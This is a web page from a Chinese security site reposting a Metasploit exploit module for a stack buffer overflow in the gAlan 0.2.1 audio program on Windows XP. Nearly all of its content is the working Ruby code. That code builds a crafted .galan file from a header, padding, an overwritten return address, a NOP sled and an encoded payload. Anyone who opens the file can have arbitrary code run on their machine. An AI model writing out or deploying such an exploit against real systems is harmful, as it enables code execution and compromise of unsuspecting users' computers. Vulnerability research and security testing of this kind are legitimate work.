首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
gAlan 0.2.1 Buffer Overflow Exploit (meta)
来源:http://www.metasploit.com 作者:loneferret 发布时间:2009-12-08  

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})
                super(update_info(info,
                        'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
                        'Description' => %q{    
     This module exploits a stack overflow in gAlan 0.2.1
                         By creating a specially crafted galan file, an an attacker may be able
                         to execute arbitrary code.
   },
                        'License' => MSF_LICENSE,
                        'Author' => [ 'loneferret, original by Jeremy Brown' ],
                        'Version' => '$Revision: 7724 $',
                        'References' =>
                                [
                                        [ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload' =>
                                {
                                        'Space' => 1000,
                                        'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
                                        'StackAdjustment' => -3500,
                                },
                        'Platform' => 'win',
                        'Targets' =>
                                [
     [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ],   # 0x100175D0 call esi @ glib-1_3
                                ],
                        'Privileged' => false,
                        'DisclosureDate' => 'Dec 07 2009',
                        'DefaultTarget' => 0))
                        register_options(
                                [
                                        OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),
                                ], self.class)
        end
        def exploit
                sploit = "Mjik"
                sploit << rand_text_alpha_upper(1028)
                sploit << [target.ret].pack('V')
                sploit << "\x90" * 45
                sploit << payload.encoded

                galan = sploit
                print_status("Creating '#{datastore['FILENAME']}' file ...")
                file_create(galan)
        end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·gAlan (.galan file) Universal
·又一上传突破
·Adobe Illustrator CS4 v14.0.0
·Audio Workstation v6.4.2.4.0 (
·Adobe Illustrator CS4 v14.0.0
·Audio Workstation 6.4.2.4.3 pl
·gAlan 0.2.1 Buffer Overflow 0d
·Polipo 1.0.4 Remote Memory Cor
· Help Workshop 4.74 (hhp Proje
·IDEAL Administration 2009 v9.7
·Symantec System Center Alert M
·Eureka Email 2.2q ERR Remote B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved